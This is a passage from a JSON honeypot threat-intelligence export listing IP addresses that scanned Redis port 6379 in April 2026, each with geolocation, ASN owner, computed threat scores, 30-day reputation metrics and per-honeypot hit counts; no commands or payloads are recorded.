      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 28.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 14.8,
        "persistence": 10.8,
        "diversity": 8,
        "spread": 20,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 30,
        "days_active_30d": 13,
        "ports_targeted_30d": 4,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-04T22:37:25+00:00",
        "last_seen_30d": "2026-04-16T03:16:54.144000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Suricata": 15,
        "Cowrie": 6,
        "Redishoneypot": 6,
        "Dionaea": 3
      }
    },
    "155.212.189.201": {
      "attack_count": 21,
      "first_seen": "2026-04-03T11:52:45.000Z",
      "last_seen": "2026-04-16T18:40:04.185Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Moscow",
      "asn": 198610,
      "as_org": "Beget LLC",
      "threat_score": 13.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 11.7,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 14,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-03T11:53:49.490000+00:00",
        "last_seen_30d": "2026-04-16T18:40:04.185000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Suricata": 4
      }
    },
    "165.227.170.229": {
      "attack_count": 21,
      "first_seen": "2026-04-03T17:40:15.000Z",
      "last_seen": "2026-04-03T17:41:20.683Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 7.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 125666,
        "days_active_30d": 1,
        "ports_targeted_30d": 64966,
        "honeypots_triggered_30d": 16,
        "first_seen_30d": "2026-04-03T17:39:27+00:00",
        "last_seen_30d": "2026-04-03T17:53:26.846000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Suricata": 110631,
        "Honeytrap": 14975,
        "Cowrie": 12,
        "ConPot": 10,
        "Dionaea": 10,
        "Miniprint": 8,
        "Mailoney": 6,
        "Redishoneypot": 3,
        "Adbhoney": 2,
        "Dicompot": 2,
        "ElasticPot": 1,
        "Honeyaml": 1,
        "Ipphoney": 1,
        "Medpot": 1,
        "Tanner": 1
      }
    },
    "220.250.52.75": {
      "attack_count": 21,
      "first_seen": "2026-04-01T12:58:46.000Z",
      "last_seen": "2026-04-22T01:09:55.881Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 29.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 9.5,
        "persistence": 18.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 22,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-01T12:58:46+00:00",
        "last_seen_30d": "2026-04-22T01:09:55.881000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 6,
        "Suricata": 3
      }
    },
    "159.89.50.199": {
      "attack_count": 20,
      "first_seen": "2026-04-01T05:49:31.000Z",
      "last_seen": "2026-04-01T05:59:37.910Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 7.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.6,
        "persistence": 1.7,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 286,
        "days_active_30d": 2,
        "ports_targeted_30d": 15,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-04-01T05:49:31+00:00",
        "last_seen_30d": "2026-04-02T22:35:08.822000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Suricata": 186,
        "Honeytrap": 86,
        "Redishoneypot": 8,
        "ElasticPot": 4,
        "Dionaea": 2
      }
    },
    "165.232.138.158": {
      "attack_count": 19,
      "first_seen": "2026-04-08T19:26:41.000Z",
      "last_seen": "2026-04-08T19:27:45.336Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 20.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 123020,
        "days_active_30d": 1,
        "ports_targeted_30d": 65192,
        "honeypots_triggered_30d": 16,
        "first_seen_30d": "2026-04-08T19:25:32+00:00",
        "last_seen_30d": "2026-04-08T19:38:02.425000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Suricata": 108667,
        "Honeytrap": 14289,
        "Mailoney": 12,
        "Dionaea": 11,
        "ConPot": 10,
        "Cowrie": 10,
        "Miniprint": 8,
        "Redishoneypot": 3,
        "Adbhoney": 2,
        "Dicompot": 1,
        "ElasticPot": 1,
        "Honeyaml": 1,
        "Ipphoney": 1,
        "Medpot": 1,
        "Tanner": 1
      }
    },
    "20.175.203.24": {
      "attack_count": 19,
      "first_seen": "2026-04-21T17:07:38.000Z",
      "last_seen": "2026-04-28T02:37:14.366Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Canada",
      "country_code": "CA",
      "city": "Toronto",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 25.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 9.0,
        "persistence": 6.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 8,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-21T17:07:38+00:00",
        "last_seen_30d": "2026-04-28T02:37:14.366000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 6,
        "Suricata": 2
      }
    },
    "159.223.111.193": {
      "attack_count": 18,
      "first_seen": "2026-04-15T18:43:30.000Z",
      "last_seen": "2026-04-15T18:44:44.638Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 26.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 19.0,
        "persistence": 6.7,
        "diversity": 8,
        "spread": 20,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 79,
        "days_active_30d": 8,
        "ports_targeted_30d": 4,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-08T09:56:34.241000+00:00",
        "last_seen_30d": "2026-04-15T18:44:44.638000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Suricata": 45,
        "Honeytrap": 28,
        "Redishoneypot": 5,
        "Dionaea": 1
      }
    },
    "71.6.232.30": {
      "attack_count": 18,
      "first_seen": "2026-04-15T15:48:06.000Z",
      "last_seen": "2026-04-15T15:49:42.664Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 10439,
      "as_org": "CariNet, Inc.",
      "threat_score": 88.3,
      "threat_level": "critical",
      "score_components": {
        "frequency": 18.3,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 68,
        "days_active_30d": 30,
        "ports_targeted_30d": 19,
        "honeypots_triggered_30d": 8,
        "first_seen_30d": "2026-04-01T05:42:25+00:00",
        "last_seen_30d": "2026-04-30T10:52:05.313000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 49,
        "Redishoneypot": 6,
        "Dionaea": 4,
        "Honeytrap": 3,
        "Cowrie": 2,
        "Tanner": 2,
        "Honeyaml": 1,
        "Mailoney": 1
      }
    },
    "185.242.226.92": {
      "attack_count": 16,
      "first_seen": "2026-04-12T13:52:43.000Z",
      "last_seen": "2026-04-12T13:55:04.189Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 202425,
      "as_org": "IP Volume inc",
      "threat_score": 75.2,
      "threat_level": "high",
      "score_components": {
        "frequency": 17.2,
        "persistence": 17.5,
        "diversity": 18,
        "spread": 25,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 53,
        "days_active_30d": 21,
        "ports_targeted_30d": 9,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-04-09T16:20:16.665000+00:00",
        "last_seen_30d": "2026-04-29T06:01:09.849000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 35,
        "Honeytrap": 8,
        "Dionaea": 4,
        "ElasticPot": 3,
        "Redishoneypot": 3
      }
    },
    "20.65.194.43": {
      "attack_count": 16,
      "first_seen": "2026-04-12T08:03:48.000Z",
      "last_seen": "2026-04-12T08:06:02.726Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "San Antonio",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 16.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.0,
        "persistence": 4.2,
        "diversity": 8,
        "spread": 15,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 20,
        "days_active_30d": 5,
        "ports_targeted_30d": 4,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-08T06:31:49+00:00",
        "last_seen_30d": "2026-04-12T08:06:02.726000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Suricata": 12,
        "Honeytrap": 5,
        "Redishoneypot": 3
      }
    },
    "1.203.97.227": {
      "attack_count": 15,
      "first_seen": "2026-04-11T01:18:59.000Z",
      "last_seen": "2026-04-25T14:03:38.319Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4847,
      "as_org": "China Networks Inter-Exchange",
      "threat_score": 20.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 4.8,
        "persistence": 12.5,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 15,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-11T01:20:00.906000+00:00",
        "last_seen_30d": "2026-04-25T14:03:38.319000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Suricata": 3
      }
    },
    "100.28.153.226": {
      "attack_count": 15,
      "first_seen": "2026-04-23T01:11:49.000Z",
      "last_seen": "2026-04-25T01:02:38.952Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 75.8,
      "threat_level": "high",
      "score_components": {
        "frequency": 25.8,
        "persistence": 25,
        "diversity": 20,
        "spread": 5,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 384,
        "days_active_30d": 30,
        "ports_targeted_30d": 179,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-01T01:13:37.720000+00:00",
        "last_seen_30d": "2026-04-30T17:01:58.726000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 384
      }
    },
    "172.202.113.68": {
      "attack_count": 15,
      "first_seen": "2026-04-22T14:11:29.000Z",
      "last_seen": "2026-04-22T14:14:31.752Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Des Moines",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 20.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 7.8,
        "persistence": 5.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 7,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-16T03:31:14.080000+00:00",
        "last_seen_30d": "2026-04-22T14:14:31.752000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 3,
        "Suricata": 3
      }
    },
    "20.127.220.21": {
      "attack_count": 15,
      "first_seen": "2026-04-20T15:44:54.000Z",
      "last_seen": "2026-04-20T15:46:32.181Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Washington",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 31.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 12.3,
        "persistence": 11.7,
        "diversity": 8,
        "spread": 15,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 17,
        "days_active_30d": 14,
        "ports_targeted_30d": 4,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-07T22:02:24+00:00",
        "last_seen_30d": "2026-04-20T15:46:32.181000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Suricata": 12,
        "Redishoneypot": 3,
        "Honeytrap": 2
      }
    },
    "20.168.122.30": {
      "attack_count": 15,
      "first_seen": "2026-04-13T23:54:08.000Z",
      "last_seen": "2026-04-13T23:57:16.840Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Phoenix",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 38.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 10.0,
        "persistence": 11.7,
        "diversity": 8,
        "spread": 15,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 10,
        "days_active_30d": 14,
        "ports_targeted_30d": 4,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-13T23:55:17.450000+00:00",
        "last_seen_30d": "2026-04-26T18:32:08.294000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Suricata": 6,
        "Redishoneypot": 3,
        "Honeytrap": 1
      }
    },
    "20.168.6.22": {
      "attack_count": 15,
      "first_seen": "2026-04-29T02:11:10.000Z",
      "last_seen": "2026-04-29T02:14:26.092Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Phoenix",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 39.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 9.0,
        "persistence": 12.5,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 15,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-15T22:10:41+00:00",
        "last_seen_30d": "2026-04-29T02:14:26.092000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 4,
        "Redishoneypot": 3,
        "Honeytrap": 1
      }
    },
    "20.169.107.45": {
      "attack_count": 15,
      "first_seen": "2026-04-04T00:23:31.000Z",
      "last_seen": "2026-04-04T00:26:07.075Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Phoenix",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 35.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 10.4,
        "persistence": 15.8,
        "diversity": 10,
        "spread": 15,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 11,
        "days_active_30d": 19,
        "ports_targeted_30d": 5,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-03T16:11:02.147000+00:00",
        "last_seen_30d": "2026-04-21T01:31:51.344000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Suricata": 7,
        "Redishoneypot": 3,
        "Honeytrap": 1
      }
    },
    "41.89.92.150": {
      "attack_count": 15,
      "first_seen": "2026-04-03T02:22:42.000Z",
      "last_seen": "2026-04-11T14:04:07.420Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Kenya",
      "country_code": "KE",
      "city": "Nakuru",
      "asn": 36914,
      "as_org": "Kenya Education Network",
      "threat_score": 7.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 7.5,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 9,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-03T02:23:43.981000+00:00",
        "last_seen_30d": "2026-04-11T14:04:07.420000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Suricata": 3
      }
    },
    "103.215.74.213": {
      "attack_count": 14,
      "first_seen": "2026-04-10T03:49:53.000Z",
      "last_seen": "2026-04-10T03:50:59.287Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "India",
      "country_code": "IN",
      "city": null,
      "asn": 150303,
      "as_org": "SoloRDP",
      "threat_score": 36.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 19.8,
        "persistence": 7.5,
        "diversity": 14,
        "spread": 20,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 96,
        "days_active_30d": 9,
        "ports_targeted_30d": 7,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-10T01:52:46+00:00",
        "last_seen_30d": "2026-04-18T13:36:13.441000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "H0neytr4p": 52,
        "Suricata": 37,
        "Honeytrap": 4,
        "Redishoneypot": 3
      }
    },
    "37.60.241.154": {
      "attack_count": 14,
      "first_seen": "2026-04-27T06:10:34.000Z",
      "last_seen": "2026-04-27T06:20:56.213Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Lauterbourg",
      "asn": 51167,
      "as_org": "Contabo GmbH",
      "threat_score": 100,
      "threat_level": "critical",
      "score_components": {
        "frequency": 30,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 9595,
        "days_active_30d": 30,
        "ports_targeted_30d": 1915,
        "honeypots_triggered_30d": 10,
        "first_seen_30d": "2026-04-01T00:06:36+00:00",
        "last_seen_30d": "2026-04-30T23:49:52.076000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 7066,
        "Honeytrap": 2467,
        "Miniprint": 24,
        "Dionaea": 18,
        "ConPot": 5,
        "Adbhoney": 4,
        "Cowrie": 4,
        "Mailoney": 3,
        "Redishoneypot": 3,
        "Dicompot": 1
      }
    },
    "91.231.89.24": {
      "attack_count": 13,
      "first_seen": "2026-04-01T02:42:19.000Z",
      "last_seen": "2026-04-01T02:43:37.243Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Gravelines",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 80.9,
      "threat_level": "critical",
      "score_components": {
        "frequency": 20.9,
        "persistence": 25,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 123,
        "days_active_30d": 30,
        "ports_targeted_30d": 48,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-01T02:42:19+00:00",
        "last_seen_30d": "2026-04-30T07:53:24.511000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 73,
        "Honeytrap": 47,
        "Redishoneypot": 3
      }
    },
    "66.132.172.103": {
      "attack_count": 12,
      "first_seen": "2026-04-21T14:34:08.000Z",
      "last_seen": "2026-04-21T14:35:17.191Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 83.6,
      "threat_level": "critical",
      "score_components": {
        "frequency": 21.2,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 133,
        "days_active_30d": 28,
        "ports_targeted_30d": 39,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-04-01T02:08:21+00:00",
        "last_seen_30d": "2026-04-28T06:34:28.891000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 73,
        "Honeytrap": 46,
        "ConPot": 7,
        "Redishoneypot": 6,
        "Sentrypeer": 1
      }
    },
    "66.132.172.187": {
      "attack_count": 12,
      "first_seen": "2026-04-20T13:35:54.000Z",
      "last_seen": "2026-04-20T13:37:07.743Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 84.6,
      "threat_level": "critical",
      "score_components": {
        "frequency": 22.3,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 169,
        "days_active_30d": 28,
        "ports_targeted_30d": 45,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-04-01T22:03:10+00:00",
        "last_seen_30d": "2026-04-28T07:20:07.118000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 103,
        "Honeytrap": 54,
        "Redishoneypot": 6,
        "CitrixHoneypot": 4,
        "Dionaea": 2
      }
    },
    "66.132.172.38": {
      "attack_count": 12,
      "first_seen": "2026-04-16T02:49:33.000Z",
      "last_seen": "2026-04-16T02:50:45.430Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 83.2,
      "threat_level": "critical",
      "score_components": {
        "frequency": 20.8,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 120,
        "days_active_30d": 28,
        "ports_targeted_30d": 41,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-04-01T00:58:16+00:00",
        "last_seen_30d": "2026-04-28T05:40:49.836000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 64,
        "Honeytrap": 43,
        "Redishoneypot": 6,
        "ElasticPot": 4,
        "Dionaea": 2,
        "Dicompot": 1
      }
    },
    "66.132.195.120": {
      "attack_count": 12,
      "first_seen": "2026-04-10T05:00:49.000Z",
      "last_seen": "2026-04-10T05:01:56.166Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 80.1,
      "threat_level": "critical",
      "score_components": {
        "frequency": 18.3,
        "persistence": 22.5,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 68,
        "days_active_30d": 27,
        "ports_targeted_30d": 17,
        "honeypots_triggered_30d": 8,
        "first_seen_30d": "2026-04-02T09:44:49+00:00",
        "last_seen_30d": "2026-04-28T00:48:09.006000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 30,
        "Honeytrap": 12,
        "Miniprint": 7,
        "Cowrie": 6,
        "Redishoneypot": 6,
        "ElasticPot": 4,
        "Adbhoney": 2,
        "Dicompot": 1
      }
    },
    "66.132.195.152": {
      "attack_count": 12,
      "first_seen": "2026-04-10T13:33:12.000Z",
      "last_seen": "2026-04-20T12:22:55.752Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 72.1,
      "threat_level": "high",
      "score_components": {
        "frequency": 22.1,
        "persistence": 25,
        "diversity": 20,
        "spread": 5,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 163,
        "days_active_30d": 30,
        "ports_targeted_30d": 159,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-01T01:25:23.423000+00:00",
        "last_seen_30d": "2026-04-30T02:24:31.651000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 163
      }
    },
    "66.132.195.74": {
      "attack_count": 12,
      "first_seen": "2026-04-09T03:36:37.000Z",
      "last_seen": "2026-04-09T03:37:43.857Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 86.8,
      "threat_level": "critical",
      "score_components": {
        "frequency": 21.5,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 140,
        "days_active_30d": 28,
        "ports_targeted_30d": 43,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-04-02T01:55:55+00:00",
        "last_seen_30d": "2026-04-29T06:39:24.178000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 79,
        "Honeytrap": 51,
        "Redishoneypot": 6,
        "Dionaea": 2,
        "Dicompot": 1,
        "Ipphoney": 1
      }
    },
    "139.162.47.15": {
      "attack_count": 10,
      "first_seen": "2026-04-02T17:54:49.000Z",
      "last_seen": "2026-04-02T17:55:59.758Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 63949,
      "as_org": "Akamai Connected Cloud",
      "threat_score": 1.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-02T17:54:49+00:00",
        "last_seen_30d": "2026-04-02T17:55:59.758000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 3,
        "Suricata": 1
      }
    },
    "147.185.132.112": {
      "attack_count": 10,
      "first_seen": "2026-04-27T05:26:39.000Z",
      "last_seen": "2026-04-27T05:28:15.069Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 89.4,
      "threat_level": "critical",
      "score_components": {
        "frequency": 20.3,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 106,
        "days_active_30d": 29,
        "ports_targeted_30d": 30,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-04-02T00:51:00+00:00",
